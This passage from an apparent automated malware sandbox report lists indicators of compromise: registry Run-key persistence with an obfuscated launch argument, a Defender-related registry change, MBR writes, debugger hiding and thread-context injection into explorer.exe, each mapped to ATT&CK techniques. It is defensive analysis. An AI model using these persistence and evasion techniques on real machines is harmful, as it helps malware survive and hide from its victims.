Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\INPROCSERVER32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.173.55\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\INPROCSERVER32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.171.39\\psmachine_64.dll"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8B15189E-5465-4166-933D-1EABAD9648CB}\InProcServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/6068-4210-0x0000000000800000-0x000000000080D000-memory.dmp	upx
behavioral1/memory/6068-4349-0x0000000000800000-0x000000000080D000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\SelfDel.dll	upx
C:\Users\Admin\AppData\Local\Temp\tmpD856.tmp	upx

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

SetACL64.exeSetACL64.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SetACL64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SetACL64.exe

Adds Run key to start application 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

splash.exexxibt.exe6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exeWebCompanion.exe307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exeRunDLL32.Exesetup.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	splash.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Joust = "C:\\Program Files (x86)\\Blocks\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Recompense = "C:\\Program Files (x86)\\Qa\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Themself = "C:\\Program Files (x86)\\Blocks\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yirnwgclgpyuen = "C:\\Users\\Admin\\AppData\\Roaming\\pyienjscxh\\qluqajfoxtd.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\xxibt.exe\" C:\\Users\\Admin\\AppData\\Loc"	xxibt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Traybar = "C:\\Windows\\lsass.exe"	6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Web Companion = "C:\\Program Files (x86)\\Lavasoft\\Web Companion\\Application\\WebCompanion.exe --minimize "	WebCompanion.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Alcmeter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\en6n2s2nFSTC0R9.exe"	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Waster = "C:\\Program Files (x86)\\Blocks\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Anuses = "C:\\Program Files (x86)\\malaysians\\Recombining.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Condensations = "C:\\Program Files (x86)\\malaysians\\Recombining.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rivett = "C:\\Program Files (x86)\\Qa\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Gilroy = "C:\\Program Files (x86)\\Qa\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Pessimist = "C:\\Program Files (x86)\\malaysians\\Recombining.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Soon = "C:\\Program Files (x86)\\malaysians\\Recombining.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Benzoate = "C:\\Program Files (x86)\\Qa\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Fahrenheit = "C:\\Program Files (x86)\\Blocks\\Gittings.exe \"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\FahrenheitFahrenheit = "\"C:\\Program Files (x86)\\Qa\\halfback.exe\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ThemselfThemself = "\"C:\\Program Files (x86)\\Qa\\halfback.exe\""	splash.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\GrpConv = "grpconv -o"	RunDLL32.Exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	setup.exe
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Windows\CurrentVersion\Run	splash.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Setup.exeGittings.exeGittings.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Gittings.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Gittings.exe

Drops desktop.ini file(s) 3 IoCs

Processes:

307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe

description	ioc	process
File opened for modification	C:\$Recycle.Bin\S-1-5-21-1013461898-3711306144-4198452673-1000\desktop.ini	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\desktop.ini	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exesetup_1.exe

description	ioc	process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	setup_1.exe
File opened (read-only)	\??\F:	setup_1.exe
File opened (read-only)	\??\I:	setup_1.exe
File opened (read-only)	\??\Y:	setup_1.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	setup_1.exe
File opened (read-only)	\??\H:	setup_1.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\A:	setup_1.exe
File opened (read-only)	\??\J:	setup_1.exe
File opened (read-only)	\??\R:	setup_1.exe
File opened (read-only)	\??\S:	setup_1.exe
File opened (read-only)	\??\V:	setup_1.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\K:	setup_1.exe
File opened (read-only)	\??\M:	setup_1.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	setup_1.exe
File opened (read-only)	\??\O:	setup_1.exe
File opened (read-only)	\??\P:	setup_1.exe
File opened (read-only)	\??\Q:	setup_1.exe
File opened (read-only)	\??\T:	setup_1.exe
File opened (read-only)	\??\W:	setup_1.exe
File opened (read-only)	\??\G:	setup_1.exe
File opened (read-only)	\??\L:	setup_1.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\X:	setup_1.exe
File opened (read-only)	\??\Z:	setup_1.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	setup_1.exe
File opened (read-only)	\??\F:	msiexec.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1067

Processes:

Setup.exe

description ioc process

File opened for modification \??\PhysicalDrive0 Setup.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	Setup.exe

Checks system information in the registry 2 TTPs 26 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MicrosoftEdgeUpdate.exemsedgewebview2.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exemsedgewebview2.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	msedgewebview2.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Setup.exe

pid process

6108 Setup.exe

pid	process
6108	Setup.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

xxibt.exesetup_3.exeGjefia.exe

description	pid	process	target process
PID 1404 set thread context of 1872	1404	xxibt.exe	xxibt.exe
PID 1280 set thread context of 1108	1280	setup_3.exe	explorer.exe
PID 5480 set thread context of 1808	5480	Gjefia.exe	explorer.exe

Drops file in Program Files directory 64 IoCs

Processes:

